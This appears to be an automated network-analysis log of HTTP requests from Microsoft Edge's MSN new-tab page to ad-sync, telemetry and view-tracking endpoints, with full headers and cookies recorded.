Source: global traffic	HTTP traffic detected: GET /bounce?%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D0136911D054E6BFC0E90846C04216AB7%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?entity=483&code=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578473713&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 16171sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578473946&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 9488sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fsetuid%3Fentity%3D483%26code%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578474725&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 20831sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578476341&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 10308sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578479355&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 9313sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /notify/viewed?rid=f7b66e0f99774ee4994a9572d133a3c9&r=infopane&i=3&p=edgechrntp&l=en-us&d=bing&b=Edg&a=dfa64b01-ec54-411d-97b5-76d005271c07&ii=1&c=2556969255498558843&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-infopane-3&ptid=edgechrntp-peekinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578482833&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 21272sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578485347&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 10380sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578488354&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 9386sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /notify/viewed?rid=f7b66e0f99774ee4994a9572d133a3c9&r=resinfopane&i=6&p=edgechrntp&l=en-us&d=bing&b=Edg&a=087acc36-08c1-4daa-8dbd-3c1c710f7f4a&ii=1&c=15351574985914386683&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-resinfopane-6&ptid=edgechrntp-resinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578491392&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 10113sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578491913&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 8657sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578494345&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 10419sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578497331&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 10410sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578500350&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 10391sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578503345&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 9369sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /notify/viewed?rid=f7b66e0f99774ee4994a9572d133a3c9&r=infopane&i=11&p=edgechrntp&l=en-us&d=bing&b=Edg&a=1dd19eb1-735b-470f-9209-d9bb436269a4&ii=1&c=7645241228381444372&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-infopane-11&ptid=edgechrntp-peekInfopane-2&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578506345&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 10170sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578506866&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 8659sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578509354&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 10428sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578512350&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 10371sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
